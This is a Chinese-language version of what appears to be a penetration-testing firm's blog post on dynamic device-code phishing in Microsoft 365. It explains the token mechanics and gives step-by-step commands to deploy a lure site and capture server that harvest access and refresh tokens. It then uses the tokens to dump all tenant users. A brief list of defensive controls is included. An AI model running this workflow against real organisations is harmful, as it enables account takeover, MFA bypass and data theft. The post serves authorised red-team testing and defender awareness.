动态设备代码钓鱼攻击技术解析与防御指南

本文深入解析动态设备代码钓鱼攻击技术,涵盖设备代码生成、令牌捕获机制、Azure Web应用部署及防御策略,提供完整的攻击流程演示和防御建议。

动态设备代码钓鱼攻击 - Black Hills信息安全公司技术分析

引言

本篇技术博客旨在简要介绍设备代码、访问令牌和刷新令牌的概念。重点探讨如何搭建和操作动态设备代码钓鱼活动的技术实现方法。我将详细讲解攻击流程中的关键环节,帮助攻击者和防御者根据自身目标更好地理解如何规避或检测此类攻击。

代码机制

要理解"设备代码"的概念,可以联想购买新智能电视的场景。电视预装了Netflix或Hulu等应用,要使用这些应用需要登录账户。显然,我们不想整天按电视遥控器输入24字符的密码。

这时设备代码就派上用场。通过访问https://netflix.com/tv8,系统会提示输入电视上显示的代码,如下图所示:

[设备代码输入界面示意图]

在电脑上输入正确代码后,电视即完成登录。设备代码钓鱼基于相同原理:作为攻击者,我们生成代码提供给用户,该代码对应https://microsoft.com/devicelogin页面:

[微软设备登录界面示意图]

当用户使用该代码登录时,我们将获得包含访问令牌和刷新令牌的凭证包。

令牌机制

访问令牌(access_tokens)顾名思义是JSON Web令牌,允许用户安全访问Microsoft端点(如MSGraph)。访问令牌有效期通常为1小时。详细文档参见:https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens

刷新令牌(refresh_tokens)允许用户在90天内刷新其access_token,这是在目标环境中保持持久访问的有效方式。

TokenTactics工具

TokenTactics是由Bobby Cooke @0xBoku和我共同开发的PowerShell模块,用于生成设备代码和刷新令牌。其核心功能是能够将令牌刷新到不同的受众端点。例如,如果通过钓鱼获取了MSGraph令牌,可以将其刷新到Outlook受众端点,从而获得Outlook的access_token。该令牌可通过BurpSuite在POST请求中使用,在浏览器中访问Outlook。这只是其中一个应用场景。TokenTactics可用于生成发送给目标用户的设备代码。

传统设备代码钓鱼

最初的设备代码钓鱼需要攻击者在PowerShell中生成代码,并通过电子邮件等方式发送给目标用户。这种方法的主要缺点是设备代码有15分钟的超时窗口,这在钓鱼活动中是非常严格的时间限制。如果目标用户在此时间内未看到钓鱼信息,攻击就会失败。我们需要更好的解决方案。

动态设备代码钓鱼

为了提高钓鱼成功率,我们需要延长这15分钟的机会窗口。为此,我使用Azure Web应用将静态HTML页面部署到".azurewebsite.net"站点。该站点仅作为前端,JavaScript执行设备代码API的GET请求,向用户显示代码,并向攻击者发送"capturecode"。当目标用户登录时,我们在运行TokenTactics的虚拟私有服务器上接收令牌包。

这种方法扩展了我们的机会窗口,因为用户访问站点时会生成设备代码,然后15分钟的超时窗口才开始。由于用户已经访问了站点,他们有可能在此窗口内继续登录。

为了更好地理解此流程,我创建了以下示意图:

[攻击流程图]

图表关键点:

  • 源IP始终是设备代码生成的位置
  • 15分钟超时从访问azurewebsite开始
  • 使用CORS-Anywhere代理头信息返回用户浏览器并在浏览器中渲染代码生成:https://github.com/Rob–W/cors-anywhere
  • 令牌在captureserver上接收

防御措施

本文不深入探讨防御措施的实施,但以下是Microsoft文档中的一些良好起点提示:应实施条件访问和登录保护,以警报或阻止用户从未知位置登录。不要盲目允许iPhone或Android设备,因为TokenTactics可以伪造这些设备。

初始防御措施:

  • 调查风险Azure Active Directory身份保护 - Microsoft Entra | Microsoft Learn
  • Azure AD条件访问
  • Azure AD身份保护 | Microsoft安全
  • 在Azure Active Directory中使用网络和国家/地区 - Microsoft Entra | Microsoft Learn

部署实施

首先需要使用Azure CLI登录:如何安装Azure CLI | Microsoft Learn 可以使用az login –use-device-code登录

从PowerShell终端克隆TokenTactics:

1
git clone https://github.com/rvrsh3ll/TokenTactics

克隆Azure-App-Tools:

1
git clone https://github.com/rvrsh3ll/Azure-App-Tools

部署捕获服务器:

1
2
3
cd TokenTactics/capturetokenphish
import-module .\deploycaptureserver.ps1
Invoke-DeployCaptureServer -ResourceGroup YOURRESOURCEGROUP -location eastus -vmName codecapture -vmPublicDNSName msftdevicecodes -pubKey ./mykey.pub

这将部署Azure虚拟机,设置FQDN名称,获取LetsEncrypt证书并克隆TokenTactics。

SSH到服务器:

1
2
ssh -i mykey azureuser@<vmPublicDNSName>
cd TokenTactics

*保持此窗口打开并启动新的PowerShell终端

部署登录页面:

1
cd Azure-App-Tools/DynamicDeviceCodes

使用VSCode打开index.html:

1
code index.html

将"MyCaptureServer"更改为您的Azure FQDN。保存。

使用唯一的互联网子域名部署站点:

1
az webapp up –location eastus –resource-group YOURRESOURCEGROUP –name YOURNEWSUBDOMAIN –html –sku FREE

您的网站将部署到https://YOURNEWSUBDOMAIN.azurewebsites.net

返回在SSH会话中TokenTactics里保持打开的PowerShell提示符,运行捕获服务器:

1
python3 capturetokenphish.py -i 0.0.0.0 -p 8443

浏览您的站点查看设备代码生成。

脚本发送通过user_code生成的设备代码,并通过"GET /id?TOKEN"请求发送到捕获服务器。服务器接收到该字符串后,加载PowerShell以调用TokenTactics。

用户输入设备代码后,我们应该收到访问和刷新令牌,它们将保存到TokenLog.log。

捕获后处理

您可以在客户端解析access_token:https://jwt.io 或使用Token Tactics的"Parse-JWTtoken"cmdlet。这将提供重要信息,如令牌的用户名。

令牌可用于您喜欢的云枚举和黑客工具。快速获胜的方法是使用BARK转储所有用户电子邮件地址。如果您的访问被终止,至少您将拥有完整的用户列表以供再次喷洒或钓鱼。

1
2
3
4
git clone https://github.com/BloodHoundAD/BARK
cd BARK
Import-Module .\Bark.ps1
$AllUsers = Get-AllAzureADUsers -Token <Insert token eyJ..> -ShowProgress

另请查看TrustedSec关于如何处理令牌的优秀博客。

结语

需要注意的是,设备代码生成的IP地址将显示在日志中。在规避或实施条件访问策略时请记住这一点。

此外,身份验证包会携带MFA。因此,未来的代码刷新不需要MFA(目前)。

Microsoft令牌是验证和访问Azure和Microsoft 365资源的强大方式。使用可用的Microsoft工具来预防、检测和响应令牌滥用。我希望这篇博客文章能帮助防御者更好地保护他们的网络,同时为攻击操作者提供另一种测试和增强企业防御的技术。

Black Hills信息安全公司(BHIS)对其持续测试客户使用动态设备代码钓鱼以及其他技术,以评估与Azure Active Directory、Microsoft 365及其相关安全边界相关的钓鱼预防、检测和响应能力。

BHIS在动态设备代码钓鱼方面取得了不同的成功。有些客户将钓鱼检测为"凭据钓鱼"。有些客户的自动化解决方案检测到电子邮件向量并从收件箱中删除了电子邮件。其他客户有严格的条件访问策略,有助于缓解此攻击。如博客中所述,攻击链中存在关键检测和预防点。尽管如此,我们仍在测试安全假设。

信任但验证。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计